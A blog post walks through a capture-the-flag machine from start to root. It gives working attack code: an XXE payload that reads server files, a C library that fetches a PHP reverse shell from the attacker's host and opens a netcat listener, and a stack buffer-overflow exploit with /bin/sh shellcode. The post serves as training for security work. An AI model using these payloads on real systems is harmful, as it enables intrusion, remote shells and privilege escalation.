In this blog post I want to explain how to solve an hacking contest by myhackerhouse.

Three hints were given on twitter:

hint #1 raft-large-directories.txt
hint #2 /cgi-bin/load?file=../../../../test.bin
hint #3 did you know XXE can sometimes use php://filter/ ... ?

We start with the usual nmap to see which ports are open.
$ nmap 192.168.56.101

Host is up (0.0017s latency).
Not shown: 999 closed ports
PORT   STATE SERVICE
80/tcp open  http
Only port 80 is open, so there is a webserver. Let's try to navigate to it using the browser.

An inspection of the source code shows nothing in particular, so we proceed to scan the directories with dirb in this webserver using a dictionary (hint 1).

$ dirb http://192.168.56.101 raft-large-directories.txt

Here we find some interesting directories:
http://192.168.56.101/nt00000906
http://192.168.56.101/nt00000906/not_useful
http://192.168.56.101/nt00000906/not_useful/login
http://192.168.56.101/nt00000906/not_useful/_dev_store
http://192.168.56.101/nt00000906/not_useful/nt00000962
Except the first one (which is useless), they all point to a login page.

There are some possible ways to hack our way into this, like sql injection, code injection (checklogin.php prints the username when we send username and password using POST), brute-forcing, but none of them worked.
Inspecting the page source code, we can find a suspicious html comment:

StackTraceException: 81a464617461d94459546f784f6e747a4f6a5136496d5a73595763694f334d364d6a5936496a49304d7a5132597a5a6b4e6d59334d7a63304e5759334e4459344d7a4d334d6a5131496a7439 

it's a json object in msgpack format (it was possible to discover this by googling for the first bytes, for example "81 a4 64 61 74 61"):

0x81 --> one json object ("\x64\x61\x74\x61" = "data")
0xd9 --> max length of 2^8-1
0x44 --> total length (68)

so, in regular json, this is
{"data":"59546f784f6e747a4f6a5136496d5a73595763694f334d364d6a5936496a49304d7a5132597a5a6b4e6d59334d7a63304e5759334e4459344d7a4d334d6a5131496a7439"}

we ascii decode its value:
$ echo 59546f784f6e747a4f6a5136496d5a73595763694f334d364d6a5936496a49304d7a5132597a5a6b4e6d59334d7a63304e5759334e4459344d7a4d334d6a5131496a7439 | xxd -r -p

YToxOntzOjQ6ImZsYWciO3M6MjY6IjI0MzQ2YzZkNmY3Mzc0NWY3NDY4MzM3MjQ1Ijt9

it looks like base64 encoded:
$ echo "YToxOntzOjQ6ImZsYWciO3M6MjY6IjI0MzQ2YzZkNmY3Mzc0NWY3NDY4MzM3MjQ1Ijt9" | base64 --decode

a:1:{s:4:"flag";s:26:"24346c6d6f73745f7468337245";}

it looks like ascii again:
$ echo "24346c6d6f73745f7468337245" | xxd -r -p

4lmost_th3rE

so we have:
username=admin (discovered by guessing it)
password=$4lmost_th3rE

Success! Now we have access to all the pages previously found with dirb.

We have a page that allows to upload files in bin format (_dev_store) and another one that outputs an xml document (nt00000962/index.php).
We can exploit in the latter an XXE vulnerability (hint 3) that allows us to get the content of files present in the server. In particular, we are interested in getting the load application of the cgi bin (hint 2) to reverse it and see what it does.

Let's create a file.xml that contains the following:

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/apache2/conf-enabled/serve-cgi-bin.conf" >]>
<aa>&xxe;</aa>

we can use curl in conjunction with our login cookie (it's possible to get it from firefox and chrom* by clicking on the left of the url bar) to get the result (base64 encoded).
curl -H "Cookie: PHPSESSID=pf1mgevireqei7tlc02ffkic83" -d @file.xml http://192.168.56.101/nt00000906/not_useful/nt00000962/index.php

after decoding, we can see where the load executable is located
ScriptAlias /cgi-bin/ /usr/lib/secretplace/
        <Directory "/usr/lib/sercretplace/">

to get it, we modify our file.xml to point to /usr/lib/secretplace/load, decode the result and output it (> in unix) to a file.

by doing strings load we notice that it's packed using upx, so we first upack it
upx -d load
and then we can analyze it using our disassembler of choice (I used Hopper). But first, we can notice some things using strings, like the fact that the string dinosaur (hint2) is not contained. This means that that the load executable (cgi-bin) loads the binary received from the GET file parameter and executes it.
Without going into too much details, we see from the reverse that it loads an AES 128bit cbc encrypted library (with password "WannaCry?" and initialization vector set to zero) in the directory _dev_store/_files (the same one where you can upload bin files from _dev_store/index.php!) and executes the runme function in it. We also notice that we can download test.bin easily by navigating to http://192.168.56.101/test.bin.



We can also decrypt test.bin, and see that it's a shared library with a runme function.
$ openssl aes-128-cbc -d -in test.bin -out test.so -K 57616e6e614372793f -iv 0
$ file test.so

test.so: ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, BuildID[sha1]=2a09203da6c7bdf3d022f4851608130cb668c6d6, not stripped


By now, it should be clear that we need to build a library, encrypt it and execute some code that allows us to get a shell into the server.
Here we can also play by making a program (like I did before) that lists all the directory in the server, downloads some files, etc..
Let's make a program that downloads a php shell in the server (for some reason using exec or system crashed the server, so we use a trick):
#include <stdio.h>

void runme(void)
{
        FILE *pf;
        char command[200];
        char data[512];
        sprintf(command, "wget -O /.../level0/nt00000906/not_useful/shellcode1.php http://192.168.56.1:8000/php-reverse-shell.php");
        pf = popen(command, "r");
        fgets(data, 512, pf);
        if(pclose(pf) != 0)
                fprintf(stderr, "Error\n");
        else
                puts(data);

        printf("Done");
}
header file:
#ifndef upload_h__
#define upload_h__

extern void runme(void);

#endif  // upload_h__

You can download the php reverse shell from here.

Now we can compile, upload the encrypted binary, start the download (by visiting http://192.168.56.101/cgi-bin/load?file=UPLOAD_FILENAME), start the netcat listener and executing the shell (http://192.168.56.101/nt00000906/not_useful/shellcode1.php)
$ sudo apt-get install gcc-multilib # for 64bit systems
$ gcc -m32 -c -Wall -Werror -fpic upload.c && gcc -m32 -shared -o libupload.so upload.o
$ openssl aes-128-cbc -in libupload.so -out libupload.bin -K 57616e6e614372793f -iv 0
$ python -m SimpleHTTPServer # this is for starting the http file server where the php shell is located on your host machine, change IPs accordingly
$ nc -v -n -l -p 1234

If all went well, you should now have a shell with limited permission on the server.

Now we need to do priviledge escalation to get root permissions. By poking around in the filesystem, we notice that a binary inside home is executed with root permission (you can see this either with ls -la or by executing it and seeing it shows root processes).
If we download and decompile it, we see it executes /bin/ps. But it's not all: it also accepts a parameter from command line, and uses strcpy to copy its content to memory. We know this is a very unsafe function and can lead to buffer overflow: let's try to exploit it.



our first crash is with 516 characters:

cd /home/level1
./shisu `perl -e 'print "\x42"x516'`

Using gdb we discover the address where this series of 0x42 starts:
$ gdb shisu
(gdb) b *0x080484a6
(gdb) r `perl -e 'print "\x42"x516'`
(gdb) x/50xb $esp

0xbffff8d0:	0xe0	0xf8	0xff	0xbf	0xaf	0xfc	0xff	0xbf
0xbffff8d8:	0xc4	0xf9	0xff	0xbf	0x00	0xf9	0xff	0xbf
0xbffff8e0:	0x42	0x42	0x42	0x42	0x42	0x42	0x42	0x42
0xbffff8e8:	0x42	0x42	0x42	0x42	0x42	0x42	0x42	0x42
0xbffff8f0:	0x42	0x42	0x42	0x42	0x42	0x42	0x42	0x42
0xbffff8f8:	0x42	0x42	0x42	0x42	0x42	0x42	0x42	0x42
0xbffff900:	0x42	0x42

We copy the address (0xbffff8e0 in this case), add 0x4 to make sure to be inside the NOPs area, and then craft the complete exploit (the last one is the address repeated 54 times, write it inverted because the cpu is little endian):
./shisu $(python -c "print('\x90'*254+'\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68'+'\xe4\xf8\xff\xbf'*54)")

We should now have root!


Let me know in the comments if you want details or if there is something wrong in this document.